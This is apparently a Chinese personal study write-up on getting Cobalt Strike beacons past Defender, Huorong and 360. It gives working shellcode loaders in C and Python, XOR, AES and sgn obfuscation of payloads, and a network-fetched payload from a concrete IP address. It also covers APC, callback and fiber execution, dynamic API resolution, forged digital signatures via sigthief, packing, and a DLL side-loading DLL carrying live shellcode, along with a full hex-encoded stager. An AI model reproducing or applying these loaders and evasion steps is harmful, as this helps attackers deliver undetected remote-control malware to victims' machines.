写在前面这两个月内网渗透接触的较多,大多公开的内网渗透靶场(如云镜)环境中都没有设置免杀,CS很轻易就可以连上,但是实战中Windows defender,火绒,360绕不过去,遂于5.18-5.30这12天仔细研究了一下CS免杀,做了一些笔记和总结,希望能形成自己的体系,弥补在免杀知识这一方面的空白。当然,我目前和下文所掌握和提及的免杀技术只不过是皮毛,更深入的免杀还需要深入学习windows底层和逆向工程方面的知识,共勉。
Shellcode与加载器Shellcode基础什么是shellcodeshellcode是一种特殊的二进制代码,这类二进制代码成功利用后会获取目标系统shell的权限
1通常将二进制代码 => 16进制代码 \xfc\x48\x83
shellcode文件shellcode通常以二进制个数存储,它由CPU直接执行
一个成功运行的大体流程:
1exe文件 -> 硬盘 -> 把exe内容读取到内存中 -> 将要执行的代码转换成二进制指令 -> cpu运行 -> 程序运行产生的数据都在内存中
shellcode如何运行借助shellcode加载器在目标机器中运行
CS的shellcode生成
选择想要生成的语言即可
Shellcode加载器什么是shellcode加载器帮助shellcode文件/16进制字符串shellcode运行的工具
如何编写shellcode加载器使用windows api
(1) 申请内存
(2) 把shellcode复制到这块内存中
(3) 想办法让这块内存中的shellcode被cpu执行
VirtualAlloc函数申请内存
VirtualAlloc 是 Windows API中用于分配/申请、保留/提交内存区域的函数
123456VirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect )
参数含义:
(1) IpAddress: 指定分配/保留的内存区域的首选基地址,若参数为NULL,则系统会自动选择适当的地址,所以一般都写NULL即可,也可以写0
(2) dwSize: 指定分配区域的内存的大小,以字节为单位
(3) flAllocationType: 指定内存的分配类型
通常使用 MEM_COMMIT|MEM_RESERVE 的方式进行使用
(4) flProtect: 指定内存的保护属性
直接给满权限 -> 可读可写可执行 -> PAGE_EXECUTE_READWRITE
memcpy函数复制shellcode到申请的内存区域中
用于将内存块中的内容从一个位置复制到另一个位置
12345void* __cdecl memcpy( _Out_writes_bytes_all_(_Size) void* _Dst, _In_reads_bytes_(_Size) void const* _Src, _In_ size_t _Size );
(1) void* _Dst: 指向目标内存区域的指针,即复制操作的目标位置
(2) void const* _Src: 指向源内存区域的指针,就是复制的目标
(3) size_t _Size: 要复制的字节数,直接 sizeof(buf) 即可
CreateThread用于创建线程的函数
12345678CreateThread( _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId );
需要关注的参数
IpStartAddress: 写我们申请的内存地址,注意:需要进行类型转换
剩下的一律写NULL
C语言加载器完整代码123456789101112131415161718192021222324252627//1、申请内存//2、拷贝 shellcode 到内存//3、执行内存中的shellcode#include
运行生成exe执行后,便可CS上线了。
Visual Studio配置
Python语言加载器不同的编程语言的免杀效果是不一样的
完整代码123456789101112131415161718192021222324252627282930import ctypes# ctypes.windll.kernel32中存放windows api# 获得windows api中的Virtualloc函数VirtualAlloc = ctypes.windll.kernel32.VirtualAllocRtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemoryCreateThread = ctypes.windll.kernel32.CreateThreadWaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject# 1.申请内存# b""转换成字节类型buf = b"\xfc\x48\x83..."# 还需要转换成字节数组类型shellcode = bytearray(buf)# 重载函数返回类型为c_uint64VirtualAlloc.restype = ctypes.c_uint64# 申请内存addr = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x1000|0x2000, 0x40)# 2.将shellcode复制到刚刚申请的内存中buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)RtlMoveMemory(ctypes.c_void_p(addr), buf, ctypes.c_int(len(shellcode)))# 3.创建线程thread = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(addr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))
python打包exe安装环境
12pip3 install pyinstallerpip3 install pyinstaller==5.8.0
打包命令
1pyinstaller -F -w demo1.py
-F: 打包成一个exe文件
-w: 不显示黑窗口,也可以用–noconsole参数
-i: 指定图标,.ico文件/.exe文件
-n: 指定打包好的文件名
–clean 清除上一次打包的文件
–key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)
1pyinstaller -F -w demo1.py -i "D:\Chanzi-SAST\ChanziSAST.exe" -n qqmusic --clean --key xxxx
Shellcode免杀免杀免杀的方法有哪些123456781、加壳2、shellcode混淆,加密3、各种语言的加载器:C++、python、go、rust等等4、分类免杀(远程加载),shellcode和加载器不写在一个文件中,远程加载等等5、白加黑(百名但程序执行恶意样本)6、使用github上的一些免杀工具7、自己写加载器,通过一些冷门的加载方式运行shellcode8、自己写/二开远控等等
杀软常用网站12345671、测试样本查杀网站,调用很多杀软的引擎进行查杀若免杀样本需要在实战中使用,不要向vt上上传,因为可能会标记http://virustotal.comhttp://virscan.org2、云沙箱http://s.threatbook.com 微步云沙箱
静态查杀通常使用病毒特征库,从**”特定代码片段”、”独特的字符串”、”文件结构”**等几个方面,若文件中的这些特征和病毒特征库匹配,则认为其是木马病毒。
代码中的函数如windows api函数,和内存、堆、线程相关的函数
1virtualalloc, rtlmovememory, createthread等等
注:同一个windows api函数,不同的编程语言,可能杀C不杀python
shellcode特征CS shellcode特征如 \fc\x48\x83
文件名和md5所有以tgp_daemon.exe为名的程序一律被判定为银狐木马
每个文件都有一个md5 hash
1CertUtil -hashfile 文件路劲 md5
当样本被查杀时,hash值会被记录下来,下次再扫描时就会直接报毒
当样本免杀了,hash值同样会被记录下来,下次就不会再扫描这个样本了,就实现了永久免杀
加密使用加解密行为或者加壳行为可能会被杀软报毒
数字签名白程序都是有数字签名的,某些杀软会看这个exe的数字签名是否合法
以百度网盘为例
资源文件杀软会查看exe的资源文件是否为空
动态查杀杀软有云沙箱,相当于开一个虚拟机运行你上传的恶意样本,通过分析程序指令出现的顺序/特定的组合情况以及所调用的函数及其参数是否属于恶意行为特征,来判断是否是病毒。
网络相关1234567查找会连的ip/域名是否之前被标记成cs远控通信流量内容内容特征:数据包中是否存在命令控制相关的关键词/加密特征结构特征:是否存在已知远控的通讯结构特征,比如某些远控会追加\x00\x00\0x00\x00这样的空字节有的CS一上线执行命令就被杀,很可能就是流量特征被查杀了。
内存相关1234567891、内存中存在的特征码 - 可以修改ReflectiveLoader(CS中的), beacon.dll等2、内存相关的属性rwx(shellcode,申请了可读可写可执行的内存),一般为rw绕过方法:先申请一块可读可写的权限的内存,等程序运行一段实践之后再将其改成可以执行的权限,就可以绕过对内存属性的检查3、上线后,执行shell whoami后被杀因为,shell whoami的原理是起一个cmd子进程运行,有的杀软会直接查杀不正常的进程链
360云传将样本上传到云沙箱进行运行、分析检测
Shellcode处理shellcode加解密CS十六进制数值特征:FC4883E4F0E8C800000041
杀软一下子就会扫到这种特征,所以需要加密
异或加密异或是一种二进制位运算,相同为0,不同为1,不做详细解释了。
python加密代码
123456789101112131415161718192021222324252627282930313233# 定义异或加密函数,接收原始shellcode和密钥作为输入def xor_encrypt(shellcode, key): encrypted_shellcode = bytearray() key_len = len(key) # 遍历shellcode中的每个字节 for i in range(len(shellcode)): # 将当前字节与密钥中相应字节进行异或操作,然后添加到加密后的shellcode中 # 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时,密钥循环使用 encrypted_shellcode.append(shellcode[i] ^ key[i % key_len]) return encrypted_shellcodedef main(): # CS生成的shellcode buf = b"\xfc\x48\x83..." shellcode = bytearray(buf) # 定义密钥 key = bytearray(b'henry') # 使用xor_encrypt函数加密shellcode encrypted_shellcode = xor_encrypt(shellcode, key) # 输出加密后的shellcode print("Encrypted shellcode:") encrypted_shellcode_string = "" for byte in encrypted_shellcode: encrypted_shellcode_string += ("\\x%02x"%byte) print(encrypted_shellcode_string)if __name__ == '__main__': main()
然后在C语言中解密shellcode并生成exe
123456789101112131415161718192021222324252627282930313233#include
测试可以正常上线并执行命令
上面尝试的是一次异或,还有可能出现一次异或不免杀,但是多次异或免杀的情况。
也可以将shellcode进行base64编解码进行加密。
AES加密借用写好的C++实现的AES算法:https://blog.csdn.net/witto_sdy/article/details/83375999
自己编译了一个AES加密shellcode的exe程序,用法如下所示,shellcode字符串保存在shellcode.txt中
1234E:\免杀\shellcode_AES\x64\Release>shellcode_AESencrypt.exe shellcode.txt字符串类型shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300AES加密shellcode: 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AES解密shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300
实现代码
123456789101112131415161718192021222324252627282930313233343536373839#include
生成后点击成功上线CS
但是过火绒失败,悲。。
shellcode内存加解密sgn工具,所有工具都检测不出来shellcode
https://github.com/EgeBalci/sgn/releases
命令使用
1sgn.exe -a 64 -c 1 -o pd_x64_stag.bin -i payload_x64_stag.bin
1234-a:64位-c:编码轮数-o:编码后的文件-i:编码前的文件
完全去除了shellcode的特征,对shellcode做到了完全免杀
因为是内存加解密,所以不需要在代码中写解密函数了。
首先将pd.bin转换成十六进制,python代码如下:
1234567891011121314151617def bin_to_hex_escape(file_path): with open(file_path, 'rb') as f: content = f.read() hex_escape = ''.join([f'\\x{byte:02x}' for byte in content]) return hex_escape# 示例用法input_file = 'E:\免杀\免杀工具\sgn\pd.bin'result = bin_to_hex_escape(input_file)# 打印或保存结果print(result)# 如果想写入一个 .txt 文件:with open('output.txt', 'w') as out: out.write(result)
编译成exe自用
使用C++ shellcode加载器加载,生成shellcode.exe执行
1234567891011#include
成功上线CS
但是火绒依然报毒。。。但是已经可以排除shellcode的问题了,有可能是代码结构、数字签名、资源文件等问题了。
shellcode分离本地分离将shellcode以文件读取的方式写入,C++加载器加载运行
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#include
conx.bin 就是 payload.bin,心理作用改个名,怕杀软看到payload字样直接给杀了。
测试运行,CS成功上线
火绒成功免杀
免杀马要保存好,如果是记录哈希那种的杀软,过了一次之后就可以实现永久免杀了。
网络分离12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182#include
Shellcode加载器处理指针运行((void(*)())addr)()123456789101112131415161718#include
1234((void(*)())addr)(); //等价于:void (*func)() = (void(*)())adC++dr;func();
将addr强制转换为一个函数指针,无参数无返回值。
转换后立即调用该函数,跳转并执行内存地址addr处的指令 -> 即shellcode
正常对shellcode不做处理可以正常上线,但是使用sgn处理过的shellcode就无法上线了。。有些奇怪。
修改内存属性有些杀软会查杀程序中是否使用了VirtualAlloc来申请内存,故可以不申请内存,直接执行unsigned char buf[]的内存中的shellcode
123456789#include
但是还不够,因为unsigned char buf[]处的内存原有属性可能不可执行,需要修改内存属性,shellcode换成CS:
12345678910111213#include
使用sgn对shellcode进行加密后对火绒免杀
火绒貌似不用测了,通过近击此对火绒免杀的测试,火绒只看shellcode,只要对shellcode的加密到位,火绒就不会报毒。
又用360进行了测试,360免杀
网络分离 + 修改内存属性
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106#include
也可以过360免杀
第二天又测试了以下火绒,发现如果请求的是http://101.42.13.105/pd.bin就会杀,但是请求.txt就不杀,那么只需要把.bin后缀改成.txt即可。
修改data段属性修改data段属性可以避免使用VirtualProtect这个敏感的windows api函数
因为全局变量默认存储在data段,那么将data段的属性设置为”可读可写可执行”即可。
1234567891011#include
火绒和360报毒
新增数据段12345678910111213#include
火绒和360报毒
堆加载除了修改数据段内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,并将shellcode复制到这块内存中,这样可以规避VirtualProtect、VirtualAlloc这些windows api敏感函数
1234567891011#include
火绒、360报毒
APC注入运行123456789101112131415161718#include
火绒过,360杀
回调函数运行EnumDateFormatsA1234567891011121314#include
火绒过、360杀
EnumUILanguages1234567891011121314#include
火绒过、360杀
创建纤程运行纤程是一种用户级别的线程。
1234567891011121314151617181920#include
火绒过、360杀
动态api函数加载不直接使用形如 VirtualAlloc 的 Windows API了,而是通过 GetProcAddress 动态获取,绕过对敏感 Windows API的检测。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#include
更隐蔽一些隐藏 GetProcAddress,这样导入表中就发现不了敏感 Windows API函数了。
首先新建项
1GetInitializationOrderModuleList.asm
在 GetInitializationOrderModuleList.asm 中添加代码:
12345678.CODEGetInInitializationOrderModuleList PROCmov rax,gs:[60h] ; PEB,注意,这里不能写0x60mov rax,[rax+18h] ; PEB_LDR_DATAmov rax,[rax+30h] ; InInitializationOrderModuleListret ; 这里不能写retnGetInInitializationOrderModuleList ENDPEND
编辑属性
12命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm输出:$(IntDir)%(FileName).obj
完整代码:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485#include
编译器与PE文件处理前言做免杀时,会遇到shellcode加密了,加载器代码做了动态加载和优化,但是依然会被杀软报毒,所以要对exe进行一定处理。
1、编译参数
2、数字签名
3、详细的版本信息
可以通过控制变量法找到杀软的查杀点,进行定向免杀。
MD和MT的区别MD (动态链接运行库):程序自己不携带C运行库,借用系统里已经安装好的DLL文件,但是若目标机器中没有对应的DLL,程序将运行失败
MT (静态链接运行库):程序携带C运行库,不依赖外部DLL,但是体积更大
当MD杀的时候,尝试切换MT。
编译器使用不同的编译器免杀效果也不同
1、VS
2、gcc
3、Intel C++
加数字签名使用 sigthief.py脚本
1python sigthief.py -i 360.exe -t shellcode.exe -o shellcode_sign.exe
加数字签名前:360查杀
加数字签名后,过了360
但是签名的确是伪造的
当然也可以进行自签名。
添加资源信息使用ResourceHakcer.exe工具
添加资源信息前:
添加资源文件后:
但是只加上资源信息是过不了360的,所以最好数字签名和资源信息一块儿加上。
先添加资源文件,再添加数字签名,轻松过360
加壳upx加壳1upx -1~9 shellcode.exe
经测试,upx -9 shellcode.exe过不了360,但是过火绒还是可以的。
Shielden加壳
vmp加壳
检查PE文件的熵值文件的熵值被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高
熵值的大小也被用域检测PE文件病毒,一般合法软件的熵值在4.8 - 7.2之间
所以加壳后需要看一下文件熵值是否超过7.2
拿vmp加壳后的shellcode.vmp.exe为例
明显高了,所以被360杀了也算正常了。
Shielden加壳PE文件的熵值在 7.66左右
upx加壳1-9的范围在6.799~6.975之间
白加黑白加黑概念白:带有有效数字签名的可执行文件,通常为exe文件
黑:恶意代码所在文件,通常为DLL
什么是DLL文件DLL 中文全程叫做 动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的 共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过 程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,昀后进行调用。使用DLL文件的好 处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件 和 exe 文件一样都是 PE 文件
上线原理白程序 -> 黑DLL -> DLLMain/导出函数 -> 执行shellcode加载器代码 -> CS上线
DLL文件结构Visual Studio新建项目 - 动态链接库
新建项目目录结构
(1) framework.h
用于包含项目中需要使用的头文件,默认包含
(2) pch.h
预编译标头文件,DLL的导出函数在此处定义
(3) dllmain.cpp
包含程序的入口点,可以理解为入口函数,在dllmain.cpp中实现在pch.h中定义的函数,也可以在其他cpp文件中实现,比如pch.cpp等。
1234567891011121314151617#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //当DLL被进程加载时执行,每个进程只初始化一次 case DLL_THREAD_ATTACH: //当线程被创建时调用 case DLL_THREAD_DETACH: //当线程结束时执行 case DLL_PROCESS_DETACH: //当DLL被进程卸载时执行 break; } return TRUE; //DLL_PROCESS_ATTACH成功}
(4) pch.cpp
一般用于存放导出函数
编译一个DLLpch.cpp中定义导出函数
123456// pch.cpp: 与预编译标头对应的源文件#include "pch.h"// 当使用预编译的头时,需要使用此源文件,编译才能成功。int sum(int a, int b) { return a + b;}
pch.h
123456789101112131415#ifndef PCH_H#define PCH_H// 添加要在此处预编译的标头#include "framework.h"#endif //PCH_H#ifdef Dll1_EXPORTS#define API_DECLSPECKM _declspec(dllexport)#else#define API_DECLSPECKM _declspec(dllimport)#endifextern "C" API_DECLSPECKM int sum(int a, int b);
Ctrl + B生成DLL
查看DLL导出函数Visual Studio 2022自带工具 Visual Studio 2022 Developer Command Prompt
1dumpbin /exports E:\免杀\Dll1\x64\Release\Dll1.dll
DLL调试因为DLL文件不能直接运行,所以需要新建一个exe项目对其进行调试
右键【解决方案】 -> 【添加】 -> 【新建项目】
选择新建”控制台应用”,新建后解决方案下就多出了刚刚新建的项目
编写DLLTest.cpp
12345678910#include
最后右键【DLLTest】 -> 【设置为启动项目】
最后生成解决方案即可
成功运行
此时进行DLL调试,打断点,需要注意的是,无论是修改代码或打断点后,都需要重新生成解决方案再进行调试
然后点击【Windows本地调试器】进行本地调试
按【F5】退出调试。
白加黑制作上线CSSkyShadow工具首先将SkyShadow-main\Tools添加至环境变量
1python SkyShadow.py "目标文件加路径"
会生成一个Payload目录,其中标有数字签名的可能是我们需要的白程序
尝试运行 identity_helper.exe,发现提示缺少 msedge_elf.dll,无法正常运行
再看生成的.txt文件,标注了缺少的dll和需要的具体函数,按照缺少的东西制作黑DLL即可
制作黑DLL上线CS直接将导出函数放在dllmain.cpp中即可,直接把txt中写好的导出函数复制过去即可
【生成解决方案】后,将dll文件放至目标exe目录下,运行exe,可以看到两个函数都被调用了
GetInstallDetailsPayload() 被调用
SignalInitializeCrashReporting() 被调用
所以在两个函数中的任意一个写shellcode加载器即可,现尝试弹计算器的shellcode
12345678910111213141516171819202122232425262728293031323334353637383940// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"extern "C" __declspec(dllexport) int GetInstallDetailsPayload() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; //1、申请内存 LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, buf, sizeof(buf)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 WaitForSingleObject(hThread, -1); //关闭线程 CloseHandle(hThread);}extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() { MessageBoxA(NULL, "SignalInitializeCrashReporting", 0, 0); return 0;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
运行exe,直接弹出计算器
将shellcode替换为sgn加密过的上线CS的shellcode,成功上线CS
360查杀过了
实战利用DLL劫持与DLL代理**DLL劫持:**一个程序在启动时会加载某个DLL文件,攻击者将那个DLL文件替换为黑DLL,在导出函数中写入shellcode加载器,当受害者运行程序,加载黑DLL文件时便执行shellcode加载代码,攻击者CS上线。
